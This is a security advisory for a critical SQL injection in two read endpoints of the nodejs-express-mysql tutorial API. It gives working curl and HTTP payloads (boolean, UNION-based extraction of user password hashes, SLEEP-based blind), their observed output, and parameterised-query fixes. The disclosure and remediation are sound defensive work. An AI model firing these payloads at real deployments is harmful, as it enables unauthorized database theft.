SQL Injection in `Tutorial.findById()` and `Tutorial.getAll()`

[BL4CK570RM]

Severity

• Severity: Critical
• CVSS v3.1 score: 9.1
• CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
• CWE: CWE-89 — Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

CVSS assumptions:

• C:H — full database contents reachable by the application account were extracted (rows, other tables,
  information_schema, other databases) with no authentication.
• I:H — an arbitrary file write was achieved through INTO OUTFILE in the reproduction environment. This
  depends on the database account holding FILE and on secure_file_priv; where those do not apply, the
  vector degrades to CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5.
• A:N — stacked statements are not executable (driver has no multipleStatements), so this finding alone
  did not demonstrate availability impact. Data destruction via the unauthenticated DELETE endpoints is
  tracked separately (missing-authorization finding).

Summary

The two read endpoints of the tutorial API construct SQL statements by interpolating request parameters into the
query text with JavaScript template literals instead of binding them as query parameters. The same defect exists
in two functions of one file: Tutorial.findById() interpolates the path parameter req.params.id into an
unquoted numeric context, and Tutorial.getAll() interpolates the query parameter req.query.title into a
quoted LIKE context.

The API exposes no authentication mechanism of any kind, so any unauthenticated client that can reach the
HTTP port can inject SQL. No special account, token, header or browser-side condition is required.

The practical consequence is full disclosure of the database reachable by the application's account, enumeration
of schema metadata, and — where the database configuration allows it — arbitrary file read and write on the
database server. Because the application currently connects as root, the impact is amplified far beyond the
application's own schema; that privilege configuration is a separate weakness and is not the cause of the
injection.

Affected Component

Item	Value
Repository	bezkoder/nodejs-express-mysql
Affected file	app/models/tutorial.model.js
Affected functions	Tutorial.findById() (line 24), Tutorial.getAll() (line 46)
Affected endpoints	GET /api/tutorials/:id, GET /api/tutorials?title=
Input sources	req.params.id via app/controllers/tutorial.controller.js:46; req.query.title via app/controllers/tutorial.controller.js:32
Affected commit	68d3959 (current master); introduced in be702f0

The other five queries in the model (create, getAllPublished, updateById, remove, removeAll) use
placeholders or static SQL and were verified safe.

Technical Description

// app/models/tutorial.model.js:24 — findById
sql.query(`SELECT * FROM tutorials WHERE id = ${id}`, (err, res) => {

// app/models/tutorial.model.js:46 — getAll
query += ` WHERE title LIKE '%${title}%'`;

id and title are passed straight from the request into the SQL string. The mysql driver receives an already
assembled statement, so it cannot treat the attacker input as data — it is parsed as SQL.

Data flow:

GET /api/tutorials/:id
  → express Router (app/routes/tutorial.routes.js:16)
  → findOne (tutorial.controller.js:46)
  → Tutorial.findById(req.params.id)
  → template literal → mysql.query() → MariaDB

GET /api/tutorials?title=x
  → Router (app/routes/tutorial.routes.js:10)
  → findAll (tutorial.controller.js:32)
  → Tutorial.getAll(title)
  → query += LIKE '%…%' → mysql.query() → MariaDB

The id sink is an unquoted context (no quote breakout required). The title sink is inside a quoted literal,
so the attacker must first terminate the string with ', and must account for the trailing % that the query
wrapper appends after the injected text.

Attack Preconditions

• Authentication required: none. The application implements no authentication.
• Network access: any client able to reach the API's HTTP port (default 8080).
• Privileges required: none beyond the ability to send HTTP requests.
• Special configuration required: none for the database read/metadata impact.
• Works against a default installation: yes — the application was started exactly as the README documents
  (node server.js) with no extra configuration.
• Assumptions used in the reproduction: MariaDB 11.8.8 in an isolated local environment; testdb seeded
  with 5 harmless tutorials rows (ids 6–10 after re-seeding) plus a users table and an unrelated
  inventory_demo schema used to demonstrate reach; @@secure_file_priv = NULL and an account holding FILE,
  which is what made the file read/write PoCs succeed.

Step-by-Step Reproduction / PoC

PoC 1 — Boolean-based (path parameter)

GET /api/tutorials/999999 HTTP/1.1
Host: localhost:8080

GET /api/tutorials/999999%20OR%201=1 HTTP/1.1
Host: localhost:8080

GET /api/tutorials/999999%20AND%201=0 HTTP/1.1
Host: localhost:8080

Expected vulnerable behaviour: the injected boolean expression, not the requested id, determines whether a row
is returned.

PoC 2 — UNION-based extraction (path parameter)

curl 'http://localhost:8080/api/tutorials/-1%20UNION%20SELECT%20id,username,password_hash,role%20FROM%20users--%20-'

PoC 3 — UNION-based extraction (query parameter)

curl 'http://localhost:8080/api/tutorials?title=%25%27%20UNION%20SELECT%20id,username,password_hash,role%20FROM%20users--%20-'
curl 'http://localhost:8080/api/tutorials?title=%25%27%20UNION%20SELECT%201,version(),current_user(),4--%20-'

PoC 4 — Time-based blind (SLEEP())

# baseline, then payload (path parameter)
curl -o /dev/null -w '%{time_total}\n' http://localhost:8080/api/tutorials/6
curl -o /dev/null -w '%{time_total}\n' 'http://localhost:8080/api/tutorials/6%20AND%20SLEEP(3)'

# baseline, then payload (query parameter)
curl -o /dev/null -w '%{time_total}\n' 'http://localhost:8080/api/tutorials?title=zz'
curl -o /dev/null -w '%{time_total}\n' 'http://localhost:8080/api/tutorials?title=Hello%25%27%20AND%20SLEEP(3)%20AND%20%27%25%27%3D%27'

Observed Result

PoC 1 (exact responses):

GET /api/tutorials/999999             -> HTTP 404  {"message":"Not found Tutorial with id 999999."}
GET /api/tutorials/999999%20OR%201=1  -> HTTP 200  {"id":6,"title":"Hello World","description":"public tutorial","published":1}
GET /api/tutorials/999999%20AND%201=0 -> HTTP 404  {"message":"Not found Tutorial with id 999999 AND 1=0."}

PoC 2 (HTTP 200, rows from another table returned in tutorial fields):

{"id":3,"title":"admin","description":"$2y$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy","published":"admin"}
{"id":4,"title":"editor","description":"$2y$10$hVgQ0oQd5u0y6iRm0pXhEuH8qH3wZ0o1kXq0j0o1kXq0j0o1kXq0j","published":"editor"}

PoC 3 (HTTP 200): all tutorials rows plus the injected users rows; the metadata query returned
{"id":1,"title":"11.8.8-MariaDB-1 from Debian","description":"root@localhost","published":4} (version and
database user). information_schema enumeration returned
{"id":1,"title":"users","description":"testdb","published":4} and a cross-database read returned
{"id":1,"title":"unrelated db - should not be reachable","description":"424242","published":4}.

PoC 4 (measured):

baseline  GET /api/tutorials/6            : 9 ms
payload   GET /api/tutorials/6 AND SLEEP(3): 3010 ms
baseline  ?title=zz                       : 8 ms
payload   ?title=Hello%' AND SLEEP(3) AND '%'=' : 3010 ms

Database-side confirmation (MariaDB general log):

SELECT * FROM tutorials WHERE id = 999999 OR 1=1
SELECT * FROM tutorials WHERE id = -1 UNION SELECT id,username,password_hash,role FROM users-- -
SELECT * FROM tutorials WHERE id = 6 AND SLEEP(3)
SELECT * FROM tutorials WHERE title LIKE '%%' UNION SELECT 1,version(),current_user(),4-- -%'

Negative controls:

• npm audit → found 0 vulnerabilities; no dependency vulnerability explains this behaviour.
• The same driver correctly quotes values where placeholders are used — the general log recorded
  UPDATE … WHERE id = '6 OR 1=1' and DELETE FROM tutorials WHERE id = '6 OR 1=1' from the PUT/DELETE
  paths, i.e. the payload was sent as a string literal, not executed.
• Stacked queries are not possible: GET /api/tutorials/1;DROP TABLE tutorials-- - returned HTTP 500 and
  the table remained intact.
• File read/write (configuration-dependent): LOAD_FILE() returned the contents of the application's own
  db.config.js; INTO OUTFILE created files on both sinks. Post-fix, the same payloads produced HTTP 400,
  a [] result, no file, and 7 ms / 9 ms timings.

Expected Secure Result

• All values bound as parameters (WHERE id = ?, WHERE title LIKE ?), so attacker input is never parsed as
  SQL.
• Non-numeric id rejected with 400 Bad Request before reaching the model.
• title length/type validated and the wildcard characters handled as data.
• Even if injection were possible, an error should return a generic message rather than SQL text (see the
  information-disclosure findings).

Security Impact

Direct impact

An unauthenticated attacker can read any data the application's database account can read, enumerate schema and
version metadata, distinguish true/false conditions blind, and — where database configuration permits — read
files reachable by the server process and write files into paths the server can write.

Amplified impact

• Root cause: string interpolation into SQL (this finding).
• Impact multiplier: the application connects as root with ALL PRIVILEGES … WITH GRANT OPTION
  (separate configuration finding). With a least-privileged account restricted to testdb.tutorials, the same
  injection would have been contained to that table. The privilege configuration did not cause the
  injection; it enlarges its consequences.

Evidence

• Source: app/models/tutorial.model.js:24, :46 (pristine 68d3959).
• Pre-fix reproduction log: /tmp/opencode/audit-lab-FINAL.log (sections 2, 3, 11 — general log capture).
• Harness: /tmp/opencode/audit-lab.sh (re-runnable, isolated namespace).
• Post-fix verification: /tmp/opencode/postfix-verify.log (payloads → HTTP 400 / [], timings 7 ms / 9 ms,
  no file written, parameterised statements in the general log).
• Dependency check: npm audit → found 0 vulnerabilities.

Root Cause

User-controlled request parameters are concatenated into SQL text through JavaScript template literals in the
model layer, instead of being passed as bound parameters to mysql.query().

Remediation

// findById — app/models/tutorial.model.js
sql.query("SELECT * FROM tutorials WHERE id = ?", [id], (err, res) => {

// getAll — wildcards belong to the bound value, never to the SQL text
let query = "SELECT * FROM tutorials";
const params = [];
if (title) {
  query += " WHERE title LIKE ?";
  params.push("%" + title + "%");
}
sql.query(query, params, (err, res) => {

Defence in depth (not a substitute for parameterisation): validate the path parameter in the controller before
it reaches the model:

if (!/^\d+$/.test(req.params.id)) {
  return res.status(400).send({ message: "id must be a non-negative integer." });
}

Use a dedicated least-privileged database account (separate configuration finding) so any future injection is
contained to the application schema.

Defense in Depth

• Generic error responses; never return sql, sqlMessage or errno (see the two information-disclosure
  findings — error-based extraction depends on them).
• Separate DB account per application, no FILE/GRANT OPTION.
• Add an authentication layer and object-level authorization once read endpoints are meant to be non-public.
• Monitor for anomalous query patterns; consider a SQL firewall/WAF for layered deployments.

Affected Versions / Git History

• Vulnerable code introduced in commit be702f0 (2021-11-10), which created app/models/tutorial.model.js;
  that file has been modified by exactly one commit in history.
• The same interpolation pattern existed earlier in app/models/customer.model.js (line 24) from the initial
  commit 8260dc6 (2019-09-25); that file was deleted in be702f0.
• Current master commit 68d3959 (2024-02-04) remains affected; upstream has published no fix.
• The repository has no formal release tags, so the affected version is described by commit.